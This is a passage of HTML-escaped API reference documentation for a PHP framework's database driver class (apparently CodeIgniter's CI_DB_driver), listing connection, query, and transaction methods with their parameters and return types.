&lt;code class=&quot;descname&quot;&gt;db_connect&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$persistent = TRUE&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::db_connect&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$persistent&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether to establish a persistent connection or a regular one&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Database connection resource/object or FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Establish a connection with the database.&lt;/p&gt;
&lt;div class=&quot;admonition note&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Note&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;The returned value depends on the underlying
driver in use. For example, a &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;mysqli&lt;/span&gt;&lt;/code&gt; instance
will be returned with the mysqli driver.&lt;/p&gt;
&lt;/div&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::db_pconnect&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;db_pconnect&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::db_pconnect&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;Database connection resource/object or FALSE on failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;mixed&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Establish a persistent connection with the database.&lt;/p&gt;
&lt;div class=&quot;admonition note&quot;&gt;
&lt;p class=&quot;first admonition-title&quot;&gt;Note&lt;/p&gt;
&lt;p class=&quot;last&quot;&gt;This method is just an alias for &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;db_connect(TRUE)&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::reconnect&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;reconnect&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::reconnect&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE on success, FALSE on failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Keep / reestablish the database connection if no queries
have been sent for a length of time exceeding the
servers idle timeout.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::db_select&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;db_select&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$database = ''&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::db_select&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$database&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Database name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE on success, FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Select / switch the current database.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::db_set_charset&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;db_set_charset&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$charset&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::db_set_charset&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$charset&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  Character set name&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE on success, FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Set client character set.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::platform&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;platform&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::platform&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;Platform name&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;string&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;The name of the platform in use (mysql, mssql, etc).&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::version&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;version&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::version&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;The version of the database being used&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;string&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Database version number.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::query&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;query&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$sql&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$binds = FALSE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;, &lt;em&gt;$return_object = NULL&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::query&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$sql&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The SQL statement to execute&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$binds&lt;/strong&gt; (&lt;em&gt;array&lt;/em&gt;)  An array of binding data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$return_object&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Whether to return a result object or not&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE for successful write-type queries, CI_DB_result instance (method chaining) on query success, FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Execute an SQL query.&lt;/p&gt;
&lt;p&gt;Accepts an SQL string as input and returns a result object
upon successful execution of a read type query.&lt;/p&gt;
&lt;p&gt;Returns:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;ul class=&quot;simple&quot;&gt;
&lt;li&gt;Boolean TRUE upon successful execution of a write type queries&lt;/li&gt;
&lt;li&gt;Boolean FALSE upon failure&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;CI_DB_result&lt;/span&gt;&lt;/code&gt; object for read type queries&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::simple_query&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;simple_query&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$sql&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::simple_query&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$sql&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The SQL statement to execute&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;Whatever the underlying drivers query function returns&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;mixed&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;A simplified version of the &lt;code class=&quot;docutils literal&quot;&gt;&lt;span class=&quot;pre&quot;&gt;query()&lt;/span&gt;&lt;/code&gt; method, appropriate
for use when you dont need to get a result object or to
just send a query to the database and not care for the result.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::affected_rows&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;affected_rows&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::affected_rows&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;Number of rows affected&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;int&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Returns the number of rows &lt;em&gt;changed&lt;/em&gt; by the last executed query.&lt;/p&gt;
&lt;p&gt;Useful for checking how much rows were created, updated or deleted
during the last executed query.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::trans_strict&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;trans_strict&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$mode = TRUE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::trans_strict&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$mode&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Strict mode flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;void&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Enable/disable transaction strict mode.&lt;/p&gt;
&lt;p&gt;When strict mode is enabled, if you are running multiple
groups of transactions and one group fails, all subsequent
groups will be rolled back.&lt;/p&gt;
&lt;p&gt;If strict mode is disabled, each group is treated
autonomously, meaning a failure of one group will not
affect any others.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::trans_off&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;trans_off&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::trans_off&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;void&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Disables transactions at run-time.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::trans_start&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;trans_start&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;optional&quot;&gt;[&lt;/span&gt;&lt;em&gt;$test_mode = FALSE&lt;/em&gt;&lt;span class=&quot;optional&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::trans_start&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$test_mode&lt;/strong&gt; (&lt;em&gt;bool&lt;/em&gt;)  Test mode flag&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;TRUE on success, FALSE on failure&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;bool&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Start a transaction.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::trans_complete&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;trans_complete&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::trans_complete&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE on success, FALSE on failure&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Complete Transaction.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::trans_status&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;trans_status&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::trans_status&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;TRUE if the transaction succeeded, FALSE if it failed&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;bool&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Lets you retrieve the transaction status flag to
determine if it has failed.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::compile_binds&quot;&gt;
&lt;code class=&quot;descname&quot;&gt;compile_binds&lt;/code&gt;&lt;span class=&quot;sig-paren&quot;&gt;(&lt;/span&gt;&lt;em&gt;$sql&lt;/em&gt;, &lt;em&gt;$binds&lt;/em&gt;&lt;span class=&quot;sig-paren&quot;&gt;)&lt;/span&gt;&lt;a class=&quot;headerlink&quot; href=&quot;#CI_DB_driver::compile_binds&quot; title=&quot;Permalink to this definition&quot;&gt;&lt;/a&gt;&lt;/dt&gt;
&lt;dd&gt;&lt;table class=&quot;docutils field-list&quot; frame=&quot;void&quot; rules=&quot;none&quot;&gt;
&lt;col class=&quot;field-name&quot; /&gt;
&lt;col class=&quot;field-body&quot; /&gt;
&lt;tbody valign=&quot;top&quot;&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Parameters:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;ul class=&quot;first simple&quot;&gt;
&lt;li&gt;&lt;strong&gt;$sql&lt;/strong&gt; (&lt;em&gt;string&lt;/em&gt;)  The SQL statement&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;$binds&lt;/strong&gt; (&lt;em&gt;array&lt;/em&gt;)  An array of binding data&lt;/li&gt;
&lt;/ul&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-even field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Returns:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first&quot;&gt;The updated SQL statement&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class=&quot;field-odd field&quot;&gt;&lt;th class=&quot;field-name&quot;&gt;Return type:&lt;/th&gt;&lt;td class=&quot;field-body&quot;&gt;&lt;p class=&quot;first last&quot;&gt;string&lt;/p&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Compiles an SQL query with the bind values passed for it.&lt;/p&gt;
&lt;/dd&gt;&lt;/dl&gt;

&lt;dl class=&quot;method&quot;&gt;
&lt;dt id=&quot;CI_DB_driver::is_write_type&quot;&gt;
